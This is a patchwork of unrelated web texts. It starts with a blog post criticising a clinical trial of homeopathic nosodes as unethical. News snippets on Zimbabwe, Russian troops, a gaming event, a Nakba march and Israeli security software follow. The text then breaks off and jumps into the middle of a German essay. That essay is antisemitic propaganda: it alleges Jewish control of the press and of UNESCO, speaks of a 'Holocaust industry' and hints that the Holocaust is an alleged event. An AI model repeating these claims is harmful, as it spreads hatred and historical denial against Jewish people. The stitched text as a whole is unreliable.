The STAT story basically reports on the tension and disagreement between two Canadian academics, neither of whom is a quack or crank and both of whom are well respected, over whether doing a clinical trial of homeopathic nosodes can be justified:
A disagreement between two respected Canadian academics is raising some fundamental questions about when a disputed scientific issue has been studied long enough. The debate centers on whether it’s still valid — or even ethical — to do research on products called nosodes, which are marketed as homeopathic “vaccines.”
And this is what it’s all about:
Dr. Mark Loeb, an infectious diseases researcher at McMaster University in Hamilton, Ontario, is seeking volunteers for a study that he thinks will show nosodes don’t activate an immune response and therefore cannot protect against diseases. Tim Caulfield, a professor of health law and policy at the University of Alberta in Edmonton and a zealous debunker of quack science, argues there’s no need to run such a study. Science already knows the answer, said Caulfield, whose most recent book — on the impact of celebrity culture on health — is entitled “Is Gwyneth Paltrow Wrong About Everything?” “It is com-pleeeeeeeete scientific nonsense,” Caulfield said of homeopathy, drawing out the word for added emphasis. “There is no need to study it. … I don’t need to run a physics experiment to demonstrate that flying carpets don’t fly.”
And:
Regardless of intent, looks like a respected researcher taking homeopathy seriously. This can only help homeopathy. https://t.co/bbJtU7csyB — Timothy Caulfield (@CaulfieldTim) October 3, 2016
One of these days Prof. Caulfield. and I need to meet. He’s showing some sweet, sweet Insolence, there, and I approve heartily. What Caulfield is saying is basically what Steve and I wrote two years ago when we compared a trial of this type to a clinical trial of magic. In fact, because homeopathy is basically very similar to the principles of sympathetic magic, I have a hard time thinking of a better example of exactly the sort of phenomenon that Steve and I were lamenting that this very clinical trial by Dr. Loeb. It is the very epitome of what Harriet Hall has labeled “Tooth Fairy science,” defined by her as seeking explanations for things before establishing that those things actually exist and frequently elaborates:
You could measure how much money the Tooth Fairy leaves under the pillow, whether she leaves more cash for the first or last tooth, whether the payoff is greater if you leave the tooth in a plastic baggie versus wrapped in Kleenex. You can get all kinds of good data that is reproducible and statistically significant. Yes, you have learned something. But you haven’t learned what you think you’ve learned, because you haven’t bothered to establish whether the Tooth Fairy really exists.
Here’s what I mean. The clinical trial being run by Dr. Loeb can be found on ClinicalTrials.gov (NCT02825368). It will consist of three groups:
Controls, who will receive a calcium carbonate oral dose and two sterile saline injections (0.5 ml each, intramuscular) as placebo.
, who will receive a calcium carbonate oral dose and two sterile saline injections (0.5 ml each, intramuscular) as placebo. Active Comparator: Conventional vaccine group. These will receive one dose of Tdap, one dose of MMR, and calcium carbonate pellets as a placebo.
. These will receive one dose of Tdap, one dose of MMR, and calcium carbonate pellets as a placebo. Experimental: Homeopathic vaccine group. This group will receive Diphtheria (Diphtherinum®), pertussis (Pertussinum®), tetanus (Tetanotxicum®), measles (Morbilinum®) and mumps (Ourlianum®) nosodes, as well as two sterile saline injections (0.5 ml each, intramuscular) as placebo.
Three weeks later, antibody levels for diphtheria, pertussis, tetanus, mumps, and measles will be measured in the subjects. There will be 150 subjects in the study, roughly 50 randomized to each group. Dr. Loeb will be looking at other measures of immunity as well.
Now, there’s nothing wrong with this study, as far as its design goes under the evidence-based medicine (EBM) paradigm. It’s a perfectly serviceable RCT looking at the response of a biomarker (in this case, measures of specific immunity) to an intervention. It’s just that Caulfield is correct. It’s a completely unnecessary clinical trial. Dr. Loeb has clearly fallen victim to methodolatry, which in medicine is the profane worship of the RCT as the only valid method of experimentation. Dr. Loeb states that his hypothesis is that “will be no different than placebo,” which is rather odd and makes me wonder how on earth he got funding for this study, as it’s uncommon for the hypothesis of a clinical trial to be that there will be no difference between the two interventions. After all, the purpose of clinical trials is usually to find a better treatment than standard of care or a treatment that is better than placebo.
Be that as it may, the second question I have is how this study got through the Canadian equivalent of the institutional review board (IRB); that is, the ethics committee overseeing clinical trials. The McMaster University IRB-equivalent truly messed up here when it gave its stamp of approval on this profoundly unethical clinical trial, as described in the STAT article:
Further, Caulfield argued that conducting the study may be unethical. His rationale: Research ethics require that there is what’s known as equipoise — scientific uncertainty — if a question is to be studied. There is no scientific uncertainty about nosodes, he insisted. Loeb said he could find no previous study looking at whether nosodes triggered an immune response. And his arguments satisfied McMaster’s Institutional Review Board, which approved the study. Dr. Ross Upshur, an ethicist and a professor at the University of Toronto’s Dalla Lana School of Public Health, disagreed with Caulfield on the issue of the study’s ethics — but agreed with him that regardless of the outcome of the study, it would not change the thinking of people who believe nosodes work. Would he have approved the study if he had been on the McMaster review board? Upshur, who has conducted research with both Loeb and Caulfield in the past, said he could argue both sides of this debate, but said if pressed to make a call, he probably would have argued that the study wasn’t worth doing.
I argue more strongly than Caulfield: The study is unethical. Period. No doubt about it. Even Dr. Upshur seems to know that the McMaster IRB acceptance of the argument that there is no previous study looking at whether nosodes trigger an immune response was not appropriate, given that basic science alone is enough to show that homeopathic nosodes are utter nonsense. After all, he basically admitted that if he were on the McMaster IRB he would have argued that the study wasn’t worth doing. After all, there is a very small, but not zero, potential for subjects in the control group. Remember, this is a group whose members have, according to the trial protocol, already received their childhood primary DTaP and MMR vaccines and thus don’t need Tdap or MMR vaccine, to suffer a vaccine reaction. I suppose you could finesse their receiving the Tdap as their adult dose, but not the MMR. Then there’s also a small, but not zero, risk from receiving the homeopathic nosodes, which are not, strictly speaking, all water.
Basically, this is the very definition of an unethical clinical trial. There’s no expected benefit to the experimental group or, quite frankly, to the active comparator group, either. The control group is the only one without an expected risk is the control group. Even then, though, one can argue that receiving saline injections could result in a hematoma. That’s harm too. Granted, it’s small and not very likely, but it’s risk nonetheless. So, basically, 150 human research subjects are being subjected to varying degrees of risk for no benefit. Now, don’t get me wrong. Sometimes we do subject clinical trial subjects to low degrees of risk for biomarker studies, but we generally don’t do it when the hypothesis is that there is no difference between control and the experimental intervention. We do it for drugs for which we want to determine if they actually “hit” the molecular target, as determined by seeing the expected changes in biomarkers in either blood or tissue, the idea being to use this information to validate a promising drug and demonstrate its promise by proving that it does what it’s supposed to do on a molecular level before doing a large scale clinical trial.
Here’s a point Steve and I made in our article that’s relevant here:
Even so, the major assumption underlying EBM is that by the time an investigational treatment is ready for RCTs it has passed all preclinical tests and has thus demonstrated biological plausibility. Before, CAM or IM, treatments without biological plausibility and compelling evidence from preclinical studies and pilot clinical trials usually did not reach the stage of RCTs. Indeed, so integral to this process is biological plausibility based on preclinical data that the Declaration of Helsinki [8] states, ‘medical research involving human subjects must conform to generally accepted scientific principles, be based on a thorough knowledge of the scientific literature, other relevant sources of information, and adequate laboratory and, as appropriate, animal experimentation’.
Homeopathy fails that test. Miserably.
Steve Novella, I, and others like to refer to "science-based medicine" (SBM) instead of EBM, the difference being that SBM takes into account what EBM does not. EBM relegates basic science to the lowest rung on its evidence ladder or pyramid, which is not inappropriate when dealing with clinical trials of treatments that have some scientific plausibility. But when we're talking about magic like homeopathy, with as close to zero prior probability and plausibility as I can imagine, what RCTs are testing is basically noise and bias in the clinical trial process. I realize that it goes against the grain of scientists like Dr. Loeb and many others, for whom the RCT is the be-all and end-all of clinical research, ever to conclude that there is no need for an RCT. They just can’t accept that basic science alone can be sufficient to rule out the need for an RCT, even in the case of homeopathy, which is to me one of the best examples, if not the best example, of an alternative medicine treatment that is so ridiculously, incredibly implausible that RCTs of homeopathy can pretty much never be justified. Nor is this a justification:
Dr. Peter Palese, a renowned influenza researcher at the Icahn School of Medicine at Mount Sinai in Manhattan, also understands Caulfield’s concern. He calls homeopathy “hogwash.” But Palese noted that Loeb conducts first-rate research, and there has been little of that done on homeopathy. “If a guy like Mark Loeb does it, it is a service to the rest of us,” he said. Loeb acknowledged the true believers will not be swayed by the findings of a clinical trial. But he said he hopes to generate evidence that will provoke regulators to take a harder line on nosodes.
As you can see, Dr. Loeb is far from alone. At one level, I can understand the naïveté and idealism of scientists like Dr. Loeb and Palese. What I can’t understand is how, even when someone like Dr. Loeb understands that a negative result will not sway true believers, he persists anyway. After all, given how good he is, what is cost of his doing this clinical trial? Leaving aside the issue that this trial is a complete waste of money, there is also the opportunity cost of having a good scientist devote his time and attention to designing, carrying out, and analyzing the results of a clinical trial like this, particularly when he expects it to be negative anyway and is only doing it in the naively misguided belief that one more negative trial of homeopathy will sway Canadian regulators. What far more worthy scientific questions could Dr Loeb have investigated with the time and resources he is wasting to ask this pointless question about homeopathic nosodes?
One wonders if Dr. Loeb has considered one final question. What will he do if, contrary to his expectations, he finds an increase in the specific immune response to the various antigens he’s testing for in response to the homeopathic nosodes? His hypothesis is that there won’t be such a finding, and he hopes that finding will provide ammunition for Canadian regulatory authorities to ban homeopathic nosodes. It probably won't, because, as Steve Novella put it, if 200 years of science is not enough to convince someone that homeopathy is bunk, or to convince regulators, then one more study is not going to do it. Also, such a false positive result is not as implausible as one might think; Dr. Loeb should read some of John Ioannidis' studies, if he doesn't believe me. As I’ve explained time and time again, when you test treatments with very low pre-test probability and plausibility, false positives are far more common than you might think. Dr. Loeb “knows” that homeopathy is “bunk.” But what will happen if his study is one of those false positives?
As you might expect, I side with Caulfield, although I don’t do it for the main reason he objects, that doing studies of quackery like homeopathy somehow “legitimizes” it (although certainly that’s a significant concern). As a physician, I’m more concerned about the ethics of the clinical trial process and how doing such studies is profoundly unethical, as much as Dr. Loeb might delude himself otherwise. There are more than enough data to conclude conclusively that homeopathic nosodes are complete and utter nonsense. Further clinical trials are unnecessary. The trial that Dr. Loeb is doing is the very epitome of quackademic medicine. It's also an excellent example of the pernicious influence of quackademic medicine, which can tempt an otherwise excellent researcher to believe that it is worth doing a clinical trial of magic like homeopathic nosodes.Looking for news you can trust?
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Zimbabwe’s Electoral Commission is now in the process of recounting ballots from last month’s presidential election in which the long-time strongman Robert Mugabe appears to have lost out to opposition parties, including the Movement for Democratic Change (MDC), led by Mugabe’s primary political nemesis, Morgan Tsvangirai.
As the recount continues, there are reports that Mugabe’s party, ZANU-PF, could be preparing for a crackdown. Human Rights Watch last week accused the regime of establishing “detention centers” in remote areas, allegedly to be “used as torture camps to punish rural voters for supporting the MDC.” Reports today suggest that Zimbabwe’s hospitals are quickly filling with victims of political violence.
Meanwhile, there’s another ominous sign of trouble ahead—a cargo ship loaded with weapons and ammunition from China, bound for Zimbabwe. According to reports in the South African press, the vessel, called the An Yue Jiang, carries three million AK-47 rounds, rocket-propelled grenades, and mortar shells. It was due to arrive in the South African port of Durban last week, but when word of the ship’s cargo reached shore, dockworkers refused to unload it. The dispute was referred to a judge, who upheld the dockworkers claim that the weapons, once transported to Zimbabwe, could contribute to “internal repression or suppression of human rights and fundamental freedoms.”
The vessel reportedly departed Durban Sunday night, possibly bound for ports in Angola or Mozambique for another attempt at offloading its cargo. If another attempt is made, there’s no guarantee either country will grant the request, at least if the International Transport Workers Federation (ITF) has anything to do with it. The London-based organization is calling on dockworkers in both African nations to reject the shipment.
“We’re trying very hard to track down where that ship’s going,” ITF general secretary David Cockroft told Voice of America, adding that his organization is also in talks with Chinese trade unions (still government-influenced, but “showing signs of independence”) in hopes of gaining their support.
The ITF finds the timing of arms shipment is highly suspect. According to Cockroft:
There is no reason why Zimbabwe needs three million rounds of AK-47 ammunition right now. There’s no prospect of there being a sudden external invasion of Zimbabwe. And so it is very difficult for anyone to conclude that this ammunition is likely to be used for anything other than to take action against opposition groups in the very controversial, very sensitive position which is still surrounding the aftermath of the Zimbabwe general elections.
What of the accusation that the dockworkers’ actions violate nations’ right to engage in free trade?
If this is free trade I’d love to see what unfree trade is like. This is a government-to-government activity…which is designed to bolster the regime in Zimbabwe, which is clearly a regime which is coming to its end. And there is no reason why there needs to be a supply of arms of this level at this stage in Zimbabwe history.
Photo used under a Creative Commons license from Wetsun.Russia's new defense minister wants to extinguish one of the Russian military's most endemic health problems and martial perks: giving free cigarettes to troops. His challenge is to prevent nicotine-deprived soldiers from violently freaking out.
Defense Minister Sergei Shoigu has reportedly drawn up a rule to end the longstanding practice of providing enlisted troops and cadets with 10 cigarettes a day. According to the Russian newspaper Izvestia, the reason is pretty straightforward: Russian soldiers choke down cigarettes, and the subsidy is encouraging the next generation of uniformed addicts.
"New non-smoking conscripts who find themselves among the smokers generally begin to smoke too," Alexander Kanshin, national security chairman of the Kremlin's Civic Chamber, told the newspaper. "This is not good for anyone."
But troops may not be able to handle losing their free smokes. "Tobacco shortages will affect the psychology of the smokers," Valentina Melnikova, executive secretary of the Union of Soldiers' Mothers' Committee, a human rights organization focused on the military, told Izvestia. "Platoon or company commanders will start collecting money from the ranks, including non-smokers. This will result in speculation, extortion, bullying and even violence." (In case you were wondering, the Defense Department included free cigarettes in some K-rations until 1975.)
The reason, Melnikova implies, is that troops won't necessarily quit smoking, and won't have enough money to pay for cigarettes over the counter, leading to a black market within the military. It wasn't until January that service members saw a raise from 500 to 1,000 rubles, or $16.50 to $32 per month. Before the raise, many soldiers spent much of their take-home pay on cigarettes, according to RIA Novosti, even with the government ration. (Smoking's expensive.) Izvestia also suggests that troops would need their salaries to quadruple to support their habit.
Russia has one of the highest smoking rates in the world: About 40 percent of the population smokes, compared to 19 percent of U.S. adults. It's a particular problem with males, who represent 60 percent of Russian nicotine addicts. Smoking has been an acute problem in the post-Soviet era. Foreign tobacco companies flooded the country with cheap cigarettes in the 1990s, which were blamed for contributing to a surge in mortality rates that had economists panicking.
Ending the Russian military cigarette subsidy hasn't been easy: A brief 2009 effort was actually reversed. At the time, the chief of the Russian army's catering corps said the backtrack owed to the hundreds of millions of cigarettes sitting in warehouses, which allowed the army to continue to meet demand for the next several years. Clearly, the military didn't want to go cold turkey.
So does this mean a more bellicose Russian military? Just don't aggravate Russia until its troops kick the habit.– Today we were in London for a PC gaming event formally named the AMD Heaven GamExperience (Note this was not produced by the same team that put on the AMD HardOCP GamExperience in Dallas last month). This event was hosted by Heaven Media and featured 8 co-sponsors (Sapphire, XFX, Asus, Steel Series, Gigabyte, OCZ, Antec and Buffalo). Over 700 gamers came through the doors that day to check out play some PC games, check out what the vendors had on display, and enter fun competitions throughout the day to win some prizes. I wont provide much editorial as I was up on stage a large part of the day so my viewpoint was slightly different than most other attendees. Here are some pictures I was able to take when I had a bit of time for picture taking!Thousands of Palestinians gathered in southern Israel on Thursday to declare their refusal to give up the “right of return” as part of commemorations to mark the 68th anniversary of the mass expulsion and atrocities that took place upon Israel’s establishment.
The annual march to mark the Nakba, or catastrophe, of more than 700,000 Palestinians who were expelled from Israel as it was established in 1948, took place in the Negev desert for the first time. While there are scores of smaller commemorations every year, the main march always happens in a different village that was uprooted.
A sea of Palestinian flags fluttered in the wind as thousands of people defiantly strode through the desert near the Bedouin village of Rahat, with many holding signs demanding that millions of Palestinian refugees be allowed to return to homes taken by Israel.
Organisers said the march took place in the Negev desert because the Palestinians living there had “paid the highest price” in terms of constant housing demolitions and displacement.
The main Nakba commemorations were held in the Negev for the first time (MEE)
Speakers decried Israel’s displacement of “over 90 percent” of Palestinians living in the Negev, and called for all those expelled from their homes to be able to return.
“We will never give up, and we will never forget,” crowds of people chanted in a festival-like atmosphere with stalls and exhibitions promoting Palestinian solidarity groups and traditional Palestinian arts and crafts.
The march took place at the same time Israelis celebrated the anniversary of their country’s beginning, which the Negev rally noted with the name of their event: “Their independence day is our Nakba day."
While the speakers were from an older generation, the 40-plus buses that arrived in the Negev carried mostly younger Palestinians from villages throughout Israel.
The right of return for Palestinian refugees was at the heart of the event, which is the beginning of commemorations to mark the Nakba on 15 May.
“For the Palestinians, the Nabka isn’t just a historical event, but a personal wound in the heart of every refugee and displaced person,” said Mohammed Barakeh, head of the Higher Arab Monitoring Committee.
“People didn’t flee, as some claim, but were uprooted. Yet even if they fled, they fled out of fear and suspicion, due to the crimes that were committed. And this doesn’t cancel out their right to return.
“What happened in the Nakba was a crime of slaughter and displacement, and it’s impossible to correct this injustice without ensuring the right of return.
“What’s happening today is clear. Israel is degenerating into an apartheid state, but still, the world praises Israeli democracy.”
The Higher Arab Monitoring Committee in Israel, which coordinates between Palestinian political and civil society groups, organised the event, which was marked by regular intervals of silence in remembrance of Palestinians killed since 1948.
The committee said the march was taking place against the backdrop of a “racist wave” against Palestinians led by the Israeli government of Prime Minister Benjamin Netanyahu.
Ayman Odeh, who is head of the Joint List of Palestinian-dominated political parties, said the Nakba is not just an event from the past.
“The question of the Nakba isn’t a question of the past, but a question of the future,” he said.
“Recognising the Nakba, this terrible crime, and working to correct the injustice is the only path to true reconciliation between the two peoples.
“I’d like to stress the importance of our being here in the Negev today to mark the Nabka and express our determination to demand recognition of the injustices that were done and achievement of a just solution that will ensure the people’s rights.”An alleged boycott of Israeli technology may have prevented an airport security deal offered to France after the deadly Charlie Hebdo and Hyper Cacher attacks in January, 2015. Use of the Israeli terrorist-tracking technology could possibly have thwarted the subsequent Islamic State terror attacks in Paris and Belgium.
According to an Israeli security source who spoke to Fox News on Monday, an Israeli security company offered terrorist-tracking software to the Directorate-General for Internal Security, France’s main intelligence agency — software that could have helped flag the deadly IS terror cell that perpetrated the attacks in Paris last November and in Belgium last month. But the offer was rebuffed allegedly after an official made clear that Israeli technology could not be purchased, the source said. The agency did not officially state a reason for the rejection.
The software, according to the Fox News report, finds and matches up intelligence reports from a number of different databases, both national and international. The tool could have helped counter-terror agents track suspects in real time.
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“French authorities liked it, but the official came back and said there was a higher-level instruction not to buy Israeli technology,” the Israeli counter-terror specialist told FoxNews.com. “The discussion just stopped.”
The source did not name the company behind the software or go into further detail about the technology but indicated it was made available to the US and other countries with which Israel enjoys good relations.
“Government agencies struggling to foil terror attacks need access to technologies that allow them to connect their data fragments, making it possible to handle daily data challenges,” the source added. “With this system, all data can then be easily navigated, processed and |
its und anderen, die dem Bezug zwischen Rasse, Kultur und Fähigkeit kritisch gegenüberstanden, langsam ein Massenpublikum. Benedicts Rassen und Rassismus, 1942 veröffentlicht, tat rassisches Denken als „eine Travestie wissenschaftlicher Kenntnis” ab. [viii] Im gleichen Jahr brachte der jüdische Intellektuelle Ashley Montagu (geboren als Israel Ehrenberg) das Werk Der gefährlichste Mythos des Menschen: der Trugschluss der Rasse heraus, das zum Bestseller wurde.
Eine Abbildung aus dem Buch von Ruth Benedict „Die Rassen der Menschheit“ (1946)
Zu allen Zeiten und an allen Orten hat es “Edisons” gegeben.
Nur dank der eifrigen Unterstützung und Förderung durch den jüdischen Einfluss in der Presse und den Verlagshäusern waren diese jüdisch-ethnischen Aktivisten und ihre Verbündeten mit ihren pseudowissenschaftlichen Theorien in der Lage, ein derart breites Publikum zu erreichen— nicht wegen der eigentlichen Schlagkraft ihrer Argumente. Zum Ergebnis all dieser Anstrengungen hat der britische Historiker David Cannadine festgehalten: „Am Ende des Zweiten Weltkriegs hatte die Vorstellung, dass Rasse die bedeutendste Form kollektiver menschlicher Identität, von Bewusstsein und Rangfolge sei, jeden Anspruch auf intellektuelle Seriosität verloren.”[ix]
1949 hat die Organisation der Vereinten Nationen für Erziehung, Wissenschaft und Kultur (UNESCO) unter dem Vorsitz von Montagu ein Gremium von “Wissenschaftlern” berufen, um „ein abschließendes Urteil über Rasse zu treffen.” Ein linkslastiger Historiker hat darauf hingewiesen, wie jenes Gremium „aus zehn Wissenschaftlern bestand, die sich allesamt aus einer Randgruppe von Anthropologen, Soziologen und Ethnographen rekrutierten, die das Konzept der Rasse in erster Linie als ein soziales Konstrukt empfunden haben.” Gleichzeitig bemerkt er: „Die meisten von ihnen hatten sich zu einem früheren Zeitpunkt wissenschaftlich marginalisierten Gruppen von Kulturanthropologen zugehörig gefühlt, die in ihrer Mehrheit wiederrum Studenten von Franz Boas an der Columbia University in New York gewesen waren.”[x]
Nach dem ersten Treffen des Gremiums im Hauptquartier der UNESCO in Paris schrieb Montagu eines Nachts in einem nahegelegenen Hotel einen endgültigen Antrag zum Thema Rassen und in den darauffolgenden Tagen diskutierten die Teilnehmer „das Rassekonzept” in Montagus Entwurf.[xi] Montagu behauptete, dass „nur wenn unsere Beratungen in Auschwitz oder Dachau stattgefunden hätten, gäbe es eine passendere Umgebung, um den Mitgliedern des Komitees die immense Bedeutung ihrer Arbeit einzuschärfen.”[xii] Zu jener Zeit befand sich die UNESCO in einem während der deutschen Besetzung Frankreichs im Zweiten Weltkrieg als Kommandantur von Groß-Paris genutzten Hotel. Die Worte der Deklaration der UNESCO waren untermauert von „der weitverbreiteten Abscheu gegen den Holocaust an den Juden.”[xiii] Der linke Gelehrte Anthony Hazard bemerkte, dass „allen Anstrengungen eine klare Ablehnung des Antisemitismus zugrunde zu liegen schienen.”[xiv]
Das von Montagu angeführte Gremium veröffentlichte seine Erklärung der UNESCO (voll von Unwahrheiten und fadenscheinigen Argumenten) 1950. „Wissenschaftler”, wurde darin behauptet, „sind zu dem allgemeinen Einverständnis gelangt, dass die Menschheit eins ist: dass alle Menschen zur gleichen Gattung gehören, dem Homo sapiens.” Jene Gene, die verantwortlich sind „für die angeborenen Unterschiede zwischen Menschen” waren „stets wenige im Vergleich zur gesamten genetischen Beschaffenheit des Menschen und der großen Anzahl an Genen, die allen menschlichen Wesen eigen sind, gleich welcher Bevölkerungsgruppe sie angehören.” Somit wurde gefolgert, „dass die Ähnlichkeiten zwischen Menschen wesentlich größer sind als die Unterschiede.” Der Fehler hierbei liegt darin, dass angeblich die kleinen Unterschiede beim Eingeben in ein System nur kleine Unterschiede ergeben beim Endergebnis. Im Gegenteil ist es oft genau so, dass kleine Unterschiede bei der Eingabe zu großen Unterschieden bei der Ausgabe führen. Es wurde zum Beispiel oft darauf hingewiesen, dass der Unterschied zwischen Menschen und Schimpansen, was ihre DNA angeht, weniger als wie 2 Prozent beträgt; nichtsdestotrotz ist der Unterschied enorm, was ihre Intelligenz betrifft. Viele genetische Krankheiten werden durch ein einziges Gen verursacht und einige von ihnen sind tödlich.
Der UNESCO schlug man vor, dass man am besten „den Begriff ‘Rasse’ gänzlich abschafft”, da „für alle praktischen Zwecke ‘Rasse’ nicht so sehr ein biologisches Phänomen als eher ein sozialer Mythos ist.” Montagu und seine Kollegen beendeten ihren „endgültigen Antrag zum Thema Rasse” mit einem Loblied auf die Idee eines gemeinsamen Menschseins: „Biologische Studien unterstützen die Ethik einer universellen Bruderschaft; weil der Mensch zur Zusammenarbeit geboren wurde. … In diesem Sinne ist jeder Mensch der Hüter seines Bruders.” Hier entdecken wir die unveränderliche jüdische Tendenz, spezifisch jüdische Interessen als Ausdruck einer vermeintlich universellen Güte zu formulieren.
Der von Montagu für die UNESCO verfasste „endgültige Antrag zum Thema Rasse” wurde zusammen mit einer Presseerklärung veröffentlicht, die den Titel „Keine biologische Rechtfertigung für Rassendiskriminierung, meinen weltbekannte Wissenschaftler: die entscheidende Stellungnahme zum Thema” trug. [xv] The New York Times brachte über diese Erklärung eine Meldung, dessen Schlagzeile verkündete: „Weltweit renommiertes Gremium von Experten sieht keine wissenschaftliche Basis für rassische Vorurteile.”[xvi] Die Erklärung der UNESCO zum Thema Rasse führte dazu, dass eine jüdische ethnopolitische Agenda der Weltgemeinschaft aufgezwungen wurde — mit verheerenden Folgen für die Interessen der Europäer.
Jetzt wo sich diese neue Agenda auf dem höchsten Niveau durchgesetzt hatte, kombiniert mit der Dämonisierung und Marginalisierung von Abweichlern, war es in den Jahrzehnten nach der Niederlage Deutschlands fast unausweichlich, dass man alle verbliebenen Politikansätze, die auf rassischem Denken und rassischer Identität aufgebaut waren, verwarf. Die 1950 erfolgte Stellungnahme zum Thema Rasse (die zur Aufhebung der Rassentrennung durch den Obersten Gerichtshof der USA dank der 1954 erfolgten Entscheidung im Falle Brown v. Board of Education in Topeka führte) wurde von einem verständnisvollen Kommentator als „der historische Triumph der Anthropologie von Franz Boas weltweit” beschrieben. [xvii]
Cannadine bemerkt, dass in den nächsten Jahrzehnten die Vereinigten Staaten, Kanada, Australien und Neuseeland „ihre Politik rassischer Diskriminierung aufgaben, ihre Einwanderungsbeschränkungen beendeten (…) und den Multikulturalismus annahmen.” Dies führt zu der irrigen Annahme, dass diese Veränderungen stattfanden, weil sich der Volkswille gewandelt hatte und die Menschen plötzlich zur Vernunft gekommen waren und rassische Diversität „annahmen“. In Wirklichkeit war in den USA, und, wie ich in meiner Sammlung von Essays über Australien ausgeführt habe, die Bewegung, die zur Liberalisierung der Einwanderungspolitik in Ländern wie Australien führte, eine von oben nach unten gesteuerte, völlig undemokratische Bewegung für spezifisch jüdische Ziele.
Götz Aly bekräftigt die Kultur „des Holocaust” in Deutschland
Roger Devlin hat bemerkt, dass „wir alle im Westen vermeintlicherweise verantwortlich sind für die Übel im Rest der Welt, aber nur deutsche Identität wurde 70 Jahre lang komplett auf Schuld aufgebaut.” Einer von denen, die hart an der Bekräftigung der Kultur „des Holocausts” in Deutschland gearbeitet haben, und das Meinungsklima anheizt, das zur Zerstörung des deutschen Volkes führt, ist der Historiker an der Goethe-Universität Frankfurt, Professor Götz Aly, der eine Reihe von Werken über „deutschen Antisemitismus”, das „Dritte Reich“ und „den Holocaust” geschrieben hat. Aly, der in den sechziger und siebziger Jahren mit militanten Organisationen der extremen Linken involviert war, ist der Nachkomme eines türkischen Soldaten, der im 17. Jahrhundert zum Christentum konvertierte. Trotz seiner teilweise türkischen Herkunft bezeichnet sich Aly als ethnischer Deutscher. Er ist nichtsdestoweniger sehr kritisch, was die Deutschen und ihre Geschichte angeht. Alys neuestes Buch (vor kurzem ins Englische übersetzt) Warum die Deutschen? Warum die Juden? Gleichheit, Neid und Rassenhass 1800-1933 ist als sein Versuch zu erklären, „warum deutsche Geschichte in einem Genozid gipfelte.”[xviii]
Götz Aly
Im Gegensatz zur Masse der zum Establishment gehörenden Historiker, wie der unsägliche Daniel Jonah Goldhagen, ist Aly immerhin bereit zu akzeptieren, dass die Ursprünge des „deutschen Antisemitismus” nach der Aufklärung auf Interessenkonflikte zwischen Juden und Nichtjuden zurückgeführt werden können— oder eher, seiner Meinung nach, auf den Neid des durchschnittlichen Deutschen auf den rapiden sozialen und wirtschaftlichen Aufstieg der Juden im 19. und frühen 20. Jahrhundert. Er betrachtet Versuche, den Aufstieg des Nationalsozialismus lediglich auf der Basis politischer Ideologie zu erklären als unbefriedigend, indem er bemerkt, „dass Konservative nicht die einzigen waren, die sich von Feindschaft gegen und sogar Hass auf Juden leiten ließen. Reformer und Pioniere politischer Freiheit haben dies oft genauso getan. Wir müssen anderswo nach Erklärungen suchen.”[xix]
Trotz dieser kleinen Zugeständnisse an die Realität steht Aly fest im Lager der intellektuellen Apologeten der Juden, indem er meint, dass „Antisemitismus” ein Phänomen ist, dass seinen Ursprung immer in der Psychopathologie oder im Wahn von Nichtjuden hat— in diesem Falle die pathologische Eifersucht der Deutschen. Seine Entlastung der Juden von jedweder Schuld bei irgendwelchen Erscheinungsformen des “Antisemitismus” ist kaum eine Überraschung, wenn man bedenkt, dass Alys Buch die Imprimatur von führenden jüdischen Repräsentanten der Holocaust-Industrie besitzt. Der Autor, in der Vergangenheit Gewinner eines jüdischen Buchpreises, erwähnt zum Beispiel, „wie meine Forschungsarbeit dank der hilfsbereiten und herzlichen Kollegen in der Gedenkstätte Yad Vashem viel einfacher und angenehmer wurde” und dass sein Werk durch ein von der Baron-Friedrich-Carl von-Oppenheim-Stiftung vergebenem Forschungsstipendium über Rassismus, Antisemitismus und den Holocaust gefördert wurde.
Vom Standpunkt einer bedingungslosen Akzeptanz der dogmatischen Hollywood-Version „des Holocausts” behauptet Götz Aly dass: „Umstritten sind nach wie vor Fragen nach seiner endgültigen Bedeutung und tieferen Ursachen”, und argumentiert, dass „die Antworten ohne Zweifel nach wie vor fragmentarisch sein werden. Nichtsdestotrotz haben Historiker die Pflicht, nach ihnen zu suchen.” Gemäß dem Autor haben Geschichtswissenschaftler demnach die moralische und intellektuelle Pflicht, nach der endgültigen Bedeutung „des Holocausts” zu forschen (natürlich vorausgesetzt, dass dies Juden völlig entlastet), aber nicht die Pflicht, die wirklichen Begebenheiten des angeblichen Ereignisses festzustellen. So viel zur einstmals bewunderten akademischen Tradition, furchtlos nach der Wahrheit zu suchen, egal, wohin dies führt. In den nachfolgenden Teilen dieser Rezension werde ich Alys „Neid”-Theorie über den „deutschen Antisemitismus”, der die Basis seines hochgelobten Buches darstellt, kritisch analysieren.
Zu Teil 2.
[i] Peter Novick, The Holocaust und Collective Memory (London: Bloomsbury, 2000), 144.
[ii] Chaim Bermant, Jews (London; Weidenfeld & Nicholson, 1977), 91.
[iii] Novick, Holocaust, 232.
[iv] Eric L. Goldstein, The Price of Whiteness: Jews,, Race, und American Identity (New Jersey: Princeton University Press, 2008), 211.
[v] Nicholas Kollerstrom, Breaking the Spell: The Holocaust, Myth & Reality (Uckfield: Castle Hill, 2014), 133.
[vi] Henry Reynolds, Why Weren’t We Told? — A personal search for the truth about our history (Melbourne: Penguin, 2000), 248-249.
[vii] David Cannadine, The Undivided Past: Humanity Beyond Our Differences (New York: Alfred A. Knopf, 2013), 205.
[viii] Ibid., 210.
[ix] Ibid., 211.
[x] Poul Duedahl, “From racial strangers to ethnic minorities, On the socio-political impact of UNESCO, 1945-60.” Paper presented at 7th Annual International Conference on Politics und International Affairs in Athens, Greece, in 2009.
[xi] Ibid.
[xii] Anthony Q. Hazard, Postwar Anti-Racism: The United States, UNESCO, und “Rasse,”1945-1968 (New York: Palgrave MacMillan, 2012), 38.
[xiii] Cannadine, The Undivided Past, 212.
[xiv] Hazard, Postwar Anti-Racism, 39.
[xv] Duedahl, “From racial strangers.”
[xvi] Elazar Barkan, The Retreat of Scientific Racism: Changing Concepts of Race in Britain und the United States between the World Wars (Cambridge UK: Cambridge University Press, 1993), 341.
[xvii] Robert Wald Sussman, The Myth of Race: The Troubling Persistence of an Unscientific Idea (Cambridge MA: Harvard University Press, 2014), 207.
[xviii] Götz Aly, Why the Germans? Why the Jews?: Envy, Race Hatred, und the Prehistory of the Holocaust (New York: Metropolitan Books, 2014), 2.
[xix] Ibid., 3.
[xx] Ibid., 1.
[xxi] Ibid., 9.
[xxii] Ibid.
